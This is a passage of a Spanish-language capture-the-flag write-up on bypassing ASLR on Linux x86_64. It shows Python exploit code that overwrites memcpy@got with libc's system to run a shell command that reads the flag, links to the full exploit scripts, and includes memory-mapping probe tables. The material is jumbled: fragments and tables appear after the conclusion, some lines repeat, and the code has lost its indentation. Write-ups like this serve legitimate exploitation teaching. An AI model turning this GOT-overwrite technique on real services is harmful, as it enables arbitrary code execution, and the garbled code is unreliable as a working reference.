Afortunadamente, sobrescribir memcpy@got con system fue suficiente para obtener la flag y reclamar esa jugosa recompensa :)```py # exp is a CompressedFile which: # - writes libc.system to memcpy_got # - calls memcpy(cmd, 0, 0) -> system(cmd) cmd = b"ls;cat flag.txt;\x00" exp = CompressedFile(24)
exp.seek((memcpy_got - OUT_ADDR)&M64)
# out=memcpy_got
for b in p64(libc.symbols['system']):
exp.write(bytes([b]))
# out=memcpy_got+8
# memcpy(out, out-off, size)
# system(out)
in_addr_off = len(exp.content)
exp.content += cmd
exp.seek((IN_ADDR + in_addr_off - (memcpy_got + 8))&M64)
exp.memcpy(0, 0) # system(cmd)
uploadFile(exp.content, 123001)
# profit
getFile(123001)
## 4.7 ¡La flag!
Puedes encontrar el exploit [aquí](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/HEAD/resources/x.py).
<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/48660/fbf98cc42c41c4487283d3545ab1f451ddcac7f1c6210e3d211ff5e04f63fef0.png"></p><br/>
También hay una versión 100% fiable del exploit [aquí](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/HEAD/resources/reliable_exploit.py).
## 5. Conclusión
Espero que hayas disfrutado del writeup, si algo no quedó suficientemente claro no dudes en contactarme [@nick0ve](https://twitter.com/nick0ve) :)
| mem | ¿cruza el límite de 16tb? |
|---|
| 0x7fb03b55e010 | No |
| 0x7fa03b55d010 | No |
| 0x7f903b55c010 | No |
| 0x7f803b55b010 | No |
| 0x7f703b55a010 | No |
| 0x7f603b559010 | No |
| 0x7f503b558010 | No |
| 0x7f403b557010 | No |
| 0x7f303b556010 | No |
| 0x7f203b555010 | No |
| 0x7f103b554010 | No |
| 0x7f003b553010 | No |
| 0x7ef03b552010 | Sí |
| 0x7ee03b551010 | Sí |
| 0x7ed03b550010 | Sí |
| 0x7ec03b54f010 | Sí |
if (fstat(fd, &sb) != 0) { return NULL; }
/* mmap the file in for performance, or something... idk kyle made me write this */ // void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
print ('{:#x}'.format(get_off(0xffffffff, 0)))
M64 = (1<<64)-1 # Maximum 64bit value def get_off(out: int, target: int): return (target-out) & M64
print ('{:#x}'.format(get_off(0xffffffff, 0)))
| dirección | ¿está mapeada? |
|---|
| 0x7fe3f0000000 | No |
| 0x7fe3e0000000 | No |
| 0x7fe3d0000000 | Sí |
| 0x7fe3df000000 | No |
| 0x7fe3de000000 | No |
| 0x7fe3dd000000 | No |
| 0x7fe3dc000000 | No |
| 0x7fe3db000000 | No |
| 0x7fe3da000000 | No |
| 0x7fe3d9000000 | No |
| 0x7fe3d8000000 | No |
| 0x7fe3d7000000 | No |
| 0x7fe3d6000000 | Sí |
| 0x7fe3d6f00000 | No |
| 0x7fe3d6e00000 | No |
| 0x7fe3d6d00000 | No |
| 0x7fe3d6c00000 | No |
| 0x7fe3d6b00000 | No |
| 0x7fe3d6a00000 | Sí |
| 0x7fe3d6af0000 | No |
| 0x7fe3d6ae0000 | No |
| 0x7fe3d6ad0000 | No |
| 0x7fe3d6ac0000 | No |
| 0x7fe3d6ab0000 | No |
| 0x7fe3d6aa0000 | No |
| 0x7fe3d6a90000 | No |
| 0x7fe3d6a80000 | No |
| 0x7fe3d6a70000 | No |
| 0x7fe3d6a60000 | No |
| 0x7fe3d6a50000 | Sí |
| 0x7fe3d6a5f000 | No |
| 0x7fe3d6a5e000 | No |
| 0x7fe3d6a5d000 | No |
| 0x7fe3d6a5c000 | No |
| 0x7fe3d6a5b000 | No |
| 0x7fe3d6a5a000 | Sí |